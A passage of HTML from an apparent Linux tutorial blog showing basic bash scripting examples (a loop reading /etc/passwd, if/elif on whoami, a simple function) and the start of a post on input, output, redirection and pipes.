vertical-align: baseline; white-space: pre-wrap;">$i</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$i</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">|wc -c</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">done</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> < /etc/passwd </span></span></p></td></tr></tbody></table></div><p><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><br /></span></p><p><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;">Conditional flow control (branching)</span></p><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Every programming language has the ability to control the execution flow depending on some </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">IF/ELSE</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> conditions.</span></span></p><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Follow script will check if we execute the script with user: "user":</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#!/bin/bash</span><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> [[ </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$(whoami)</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> == </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"user"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ]]; </span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">then</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"Good! We are 'user'!"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">else</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"We are not a 'user'"</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">exit</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fi</span></span></p></td></tr></tbody></table></div><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Multiple conditions with </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">elif</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#!/bin/bash</span><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">currentUser=`whoami`</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> [[ </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$currentUser</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> == </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"user1"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ]]; </span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">then</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"got user1"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">elif</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> [[ </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$currentUser</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> == </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"user2"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ]]; </span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">then</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"got user2"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">else</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"someone else"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fi</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Functions</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#!/bin/bash</span><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">function</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> printout {</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$1</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">}</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">currentUser=`whoami`</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> [[ </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$currentUser</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> == </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"user1"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ]]; </span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">then</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> printout </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"got user1"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">elif</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> [[ </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$currentUser</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> == </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"user2"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ]]; </span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">then</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> printout </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"got user2"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">else</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> printout </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"someone else"</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fi</span></span></p></td></tr></tbody></table></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;"><span style="display: inline-block; position: relative; width: 100px;"></span></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; white-space: pre-wrap;">Resume</span></p><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">This chapter shows you basic principles of scripting, and with some time, experience, trial and error - i hope you will be comfortable with bash.</span></span></p><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">It's up to you to master bash scripting. You may get your coding to a very high level and construct very complex algorithms.</span></span></p><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Go and solve all challenges at </span><a href="https://cmdchallenge.com" style="text-align: justify; text-decoration-line: none;"><span style="color: #1155cc; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">https://cmdchallenge.com</span></a></span></p>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-28256313775231264892022-04-05T23:44:00.001+03:002022-05-06T14:57:00.744+03:00#HOWTO #Linux: Input, Output, Redirection & PIPEs<p><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-weight: 700; white-space: pre-wrap;">Input, Output, redirections and PIPEs.</span></p><span id="docs-internal-guid-cd2b03c2-7fff-f5f7-9411-c921a303a527"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Every program in Linux can get, process and finally output some data. Among others, data sources could be </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">files</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> or </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">pipes</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For example, command </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cat /etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> uses file </span><span style="background-color: #efefef; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: 